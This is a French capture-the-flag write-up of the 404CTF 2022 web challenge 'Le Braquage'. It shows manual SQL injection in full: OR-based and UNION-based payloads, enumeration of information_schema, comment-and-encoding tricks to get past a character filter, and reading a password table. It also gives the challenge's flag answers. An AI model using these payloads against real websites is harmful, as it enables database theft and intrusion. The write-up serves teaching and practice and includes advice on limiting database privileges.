Le Braquage (Web) - 404CTF 2022

Le Braquage (Web) - 404CTF 2022

Fichiers du challenge Principe:
Exploiter manuellement des SQL injections, y compris en bypassant le 'WAF', pour récupérer des informations constituant le flag

Le challenge

Le flag nous demande de trouver des données éparpillées dans un site
On prendra soin de ne pas se tromper dans l'ordre des éléments du flag!

Comme on nous demande un flag composé de nombreux morceaux, on prendra soin de bien copier/coller chaque morceau que l'on trouvera (ainsi que les payloads SQL)

Le site

Le site se présente sous la forme de trois accès distincts

Les noms nous disent déjà qu'il s'agira de SQL injection: OR, UNION et WHERE (filtres)

Le challenge ne s'est pas embêté à nous proposer un faux-site dans lequel une aurait dû trouver nous-même quel champ avait une SQLi :D Ca nous fera gagner du temps

Les règles du CTF demandent de ne pas utiliser SQLmap, donc, on va le faire à la mano (bon, en situation réelle, franchement, y'a pas à s'embêter autant utiliser SQLmap direct

OR

On envoie le payload basique habituel ' OR 1 # x

Pourquoi # x ? Simplement car certains SGDB m'ont déjà causé des problèmes avec les commentiares: si on se contente de #, alors la query serveur devient ' OR 1 #' le reste de la query et comme la # n'est pas suivie d'un espace, le SGDB crache une erreur de syntaxe.
D'où un espace après la dièse, suivi d'un x

Le x derrière la # et l'espace est obligatoire car sans cela, la valeur de l'input sera sans doute trimmed: ' OR 1 #[espace] tout seul sera interprété comme ' OR 1 # par le serveur (qui aura supprimé l'espace, si le navigateur ne l'a pas déjà fait), et le problème précédent se posera

Paf, on a déjà deux informations:
404CTF{0145769456} et 404CTF{21 rue des kiwis}

UNION OR

On passe au second module, qui parle d'UNION et on en vient à un autre payload:
' UNION SELECT 1,2 # x
On cherche alors les noms des DB, tables et colonnes contenant l'info qui nous servira via ' UNION SELECT TABLE_NAME,COLUMN_NAME FROM information_schema.columns WHERE TABLE_SCHEMA = 'UnionVendeurs'# x
					cooperatives	cooperative
					cooperatives	pseudo
					Users	id
					Users	nom
					Users	prenom
				
On trouve ces tables dans la requete précédente (et on peut en essayer d'autres variantes)
La table Users via l'injection ' UNION ALL SELECT nom,prenom FROM Users # x contient l'information que l'on cherche:
404CTF{Vereux} et 404CTF{UnGorfou}

Filtres

Celui-là fonctionne comme le premier, mais dispose d'un "filtre" en plus interdisant certains caractères dont l'espace: '/**/OR/**/1/**/#/**/x n'en contient aucune, et est syntaxiquement valide

Vous trouverez des cheat sheets du genre sur internet pour les SQL injections, je vous laisse chercher et j'ai la flemme de le faire maintenant . Explorez aussi les "SQL injection WAF bypass" (Web Application Firewall) car ce genre de filtre est souvent utilisé par ces "protections" mises devant le serveur web

Le dernier bloc

Je me suis alors gratté la tête un moment: on attend 7 informations, on en obtient 2 à chaque section, et il y a 3 sections. On n'a donc que 6 informations! Où peuvent être les deux dernières? En cherchant, je n'ai trouvé aucun lien caché (CSS/sources HTML) donc, j'en ai déduis qu'une des sections pouvait encore être exploitée. J'ai fini par trouver laquelle: la 3e (ce qui était le plus probable, puisque c'est la plus "protégée" et aboutie)

En essayant une quote toute seule dans la 3eme section, on obtient une erreur de syntaxe: peut-être a-t-on une exploitation de plus par ce biais?
Je tente alors un SELECT (en bypassant le filtre) et… malgré l'erreur, j'ai un retour?!
					Requête:
					'/**/UNION/**/SE%6CEcT/**/TABLE_NAME,COLUMN_NAME,3/**/FROM/**/information_schema.columns/**/#/**/x
					
					Résultats:
					Password	id	3
					Password	mdp	3
					Rdv	code	3
					Rdv	dateRdv	3
					Rdv	heureRdv	3
				
On trouve alors de nouvelles tables et colonnes: chaque section a donc des droits différents

Je n'ai jamais vu, en pratique, un site web avec plusieurs users SQL et différents droits. En revanche, c'est une bonne pratique si le site est composé de plusieurs choses, comme un jeu avec un forum et un tchat (un user pour chacun de ces trois composants est alors pertinent)

N'oubliez pas, en situation réelle, de restreindre au minimum les droits du user SQL. Et n'utilisez pas le root ou l'admin pour l'opération du site. Réservez-le aux déploiements.

On essaye alors de lire les mots de passe via '/**/UNION/**/ALL/**/SE%6CECT/**/id,mdp,3/**/FROM/**/Password/**/#/**/x, et on a un 7e morceau: 404CTF{GorfousAuPouvoir}

Flag

					404CTF{0145769456}
					404CTF{21 rue des kiwis}
					404CTF{Vereux}
					404CTF{UnGorfou}
					404CTF{GorfousAuPouvoir}
					404CTF{2022-07-14}
					404CTF{01hDuMatin}
				
On remet tout ça ensemble et on a le flag final:
404CTF{VereuxUnGorfou014576945621ruedeskiwis2022-07-1401hDuMatinGorfousAuPouvoir}

Je me suis relu 3 fois avant de soumettre le flag, n'étant pas sûr d'avoir les bonnes infos au bon endroit, mais il est passé du premier coup!

Fichiers du challenge

↩ Retour à la liste des challenges

⇇ Retour à l'accueil